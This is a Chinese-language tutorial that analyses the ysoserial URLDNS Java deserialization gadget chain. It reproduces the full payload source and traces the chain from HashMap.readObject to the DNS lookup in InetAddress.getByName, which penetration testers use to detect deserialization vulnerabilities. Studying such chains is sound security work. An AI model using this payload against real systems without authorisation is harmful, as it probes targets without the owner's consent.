Java安全-反序列化URLDNS

P神的Java安全漫谈里说，学习Java反序列化，先从URLDNS 开始看起，因为它足够简单，那我们就从URLDNS这条链子开始学习，然后再去看CC链

那什么是利用链呢，利用链也叫“gadget chains”，我们通常称为gadget，顾名思义就是一条利用恶意代码去执行某些命令的链子，从触发位置到利用执行命令的位置结束

那我们接下来就来看看URLDNS这条利用链，这条利用链通常用于检测是否存在Java反序列化漏洞

简介

URLDNS这条链，并不能用来执行其他命令来进行RCE，只能用来发送一次DNS请求到我们指定的网站上，然后我们就能查看是否有请求记录而来判断是否存在Java的反序列化漏洞。简单的来说：URLDNS只能用来探测和验证是否存在漏洞。看似没什么用，但其实在渗透测试的实战中，这种用DNS请求来探测和验证漏洞的点到为止的思想还是挺常用的。而且这个Gadget还不需要任何其他的依赖，原生Java就能够成功调用成功。

该利用链有三个特点

  • 不限制jdk版本，使用Java内置类，对第三方依赖没有要求
  • 目标无回显，可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链，只能发起DNS请求，并不能进行其他利用

首先看一下源码

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package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

利用分析

从注释中我们可以看到利用链的调用顺序

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Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

payload如下

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public Object getObject(final String url) throws Exception {

        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup，将URL作为key传入

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
}

首先的触发点是HashMap的readObject函数，我们跟进看看

此处省去不重要的代码，截取部分关键代码

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private void readObject(java.io.ObjectInputStream s){
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        //throw xxx 
    else if (mappings > 0) {
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
}

大概意思就是会先判断Map的大小，如果大于0的话，会进入一个for循环，然后遍历Map的key和value，然后在遍历的过程中调用putVal函数，其中key值又被hash函数调用

然后再跟进到hash函数

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static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里的意思就是先判断一下key值是否为空，如果不为空的话，则又会对key值进行一个hashCode函数的处理，由上文中的部分Payload可知，这里的Key是URL类，所以我们下一步跟进URL类的hashCode函数

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private int hashCode = -1;
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);//this就是URL的一个类
        return hashCode;
    }

这里hashCode的默认值为-1，然后会紧跟着调用handler.hashCode(this)，那么我们再跟进去看看，其关键部分代码如下

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protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }
    //省略
}

其中的关键就在于**InetAddress addr = getHostAddress(u);**这段代码，他对URL调用了getHostAddress方法，那么我们看看这个方法是干什么的

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protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

其中重要的是InetAddress.getByName，它的作用是根据主机名，获取其IP地址，在网络上其实就是一次DNS查询，对传入的参数发送DNS请求，如下图所示

至此这一条Gadget就跟完了

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

原理：

java.util.HashMap 重写了 readObject，在反序列化时会调用 hash 函数计算 key 的 hashCode，而 java.net.URL 的hashCode在计算时会调用 getHostAddress 来解析域名，最终调用 getByName从而发出 DNS 请求

几个细节

首先是在初始化URL类时，并没有像我们实验的那样子，直接 new URL("");生成一个URL类进行使用，而是还额外提供了一个handler，代码如下：

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URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key

我们注意到，Payload中使用的是new一个SilentURLStreamHandler类，并且在注释上写到“Avoid DNS resolution during payload creation”，所以这行代码的意义就是“避免在生成Payload的时候进行DNS解析”，这是由于payload在生成的时候，也会调用一次HashMap#put函数，把其放入HashMap中，而其代码如下

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public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

在这里同样会进行一次DNS解析，为了排除这个干扰，作者自行编写了一个URLStreamHandler子类

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static class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

重写getHostAddress的原因，显然是使其在put时，不会成功的引起DNS解析，因为子类重写的方法会覆盖父类对应方法，也就是说，在最后调用getHostAddress时，只会return null；而重写openConnection原因则更为简单，因为URLStreamHandler是一个抽象类，所以必须重写其所有的抽象方法，这里的openConnection便是其中的抽象类